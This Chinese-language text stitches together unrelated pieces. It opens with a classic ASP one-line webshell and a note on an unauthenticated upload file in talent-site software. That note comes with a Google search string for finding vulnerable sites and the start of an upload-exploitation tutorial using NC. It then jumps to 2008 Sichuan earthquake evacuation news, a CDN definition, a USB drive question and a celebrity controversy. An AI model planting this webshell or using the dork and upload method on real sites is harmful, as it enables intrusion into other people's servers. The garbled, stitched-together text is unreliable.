首先回顾一下以前ASP一句话的经典木马吧！

<%if request("nonamed")<>"" then execute request("nonamed")%>

VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的！网上也有例子我就不多说了！.....

天缘、大拇指类人才网程序都是模仿汇博人次网9月份的老程序，该程序有都有很弱智的漏洞。

1，漏洞： Include/upfile_flash.asp无session认证，直接或者抓包通过明小子工具可以提交木马。google搜索:inurl:Company/Info/Com_View.asp?Param= 有8,650项. 同样管理后台也有Include/upfile_flash.asp文件
修补方法：加上session认证,或者修改上传组件。

2,9月份版本有后门，大家小心使用

上传漏洞这个词我们应该都不会陌生,但是小菜们大部分只会用工具来进行动网的上传漏洞的利用，今天来教大家用NC来真正体验上传漏洞.
需要工具:抓包工具WSockExpert.exe,提交工具,NC,小马,大马各一个，加上一个ＵＥ
我是在本地架设的动网实验环境.而且是用文字来描述地,大家可能会有些听不懂,有时间我会做成一个教程的.

由于防震形势严峻，勉县抗震指挥部29日晚下发紧急通知，要求迅速组织全县42.9万人撤离建筑物。
 

为切实做好防范，勉县抗震救灾指挥部于29日夜晚下发紧急通知，要求各部门迅速通知辖区群众，撤离建筑物，特别是危险建筑物；凡危房和周围有高大建筑的房屋，不得使用。一旦发生险情，必须及时采取防、抢、撤等措施，确保人民生命安全。包抓乡镇抗震救灾工作的县级领导和部门，在接到通知后，要立即赶赴乡镇展开检查、督促，确保紧急撤离和防范措施到位。昨晚9时，勉县各医院已紧急组成医疗队，随时待命。勉县一中等有住校生的学校已紧急疏散学生，确保安全。

持续降雨使上游来水量增大，指挥部命令启动三分之一溃坝撤离预案，避险疏散20万群众

“现命令全部启动三分之一溃坝撤离预案。”昨（29）日下午4时，唐家山堰塞湖避险疏散指挥部指挥长谭力发布一号令，北川唐家山堰塞湖避险疏散预案三分之一溃坝方案全部启动。启动命令宣布，从30日上午8时开始至31日8时，预案涉及的19.75万下游群众全部撤离到预先设定好的安全地带。同时，绵阳市确定，将在31日至6月2日进行全溃坝淹没线以下人员疏散撤离指挥系统演习。

我们先Google一下CDN的概念:

CDN 是一个经策略性部署的整体系统.能够帮助用户解决分布式存储.负载均衡.网络请求的重定向和内容管理等问题.其目的是通过在现有的 Internet 中增加一层新的网络架构.将网站的内容发布到最接近用户的网络" 边缘 ".使用户可以就近取得所需的内容.解决 Internet 网络拥塞状况.提高用户访问网站的响应速度.从技术上全面解决由于网络带宽小.用户访问量大.网点分布不均等原因.解决用户访问网站的响应速度慢的根本原因.

打不开U盘，系统提示说要格式化。。。。格式化了一半，又说不能格，怀疑是U盘中毒了，下了USBCLEANER，似乎不能用啊，即没说有毒也没说无毒，这是怎么回事？

日前，美国女演员莎朗·斯通在出席第61届戛纳电影节的时候，被记者问及四川地震时居然称“四川地震是中国的报应”，并以“有趣”等字眼形容灾难。
 

各国记者：应有人道主义立场

莎朗·斯通的这番言论令在场的众多记者大吃一惊，无论中国记者还是国外记者都对此番言论非常不认同甚至反感。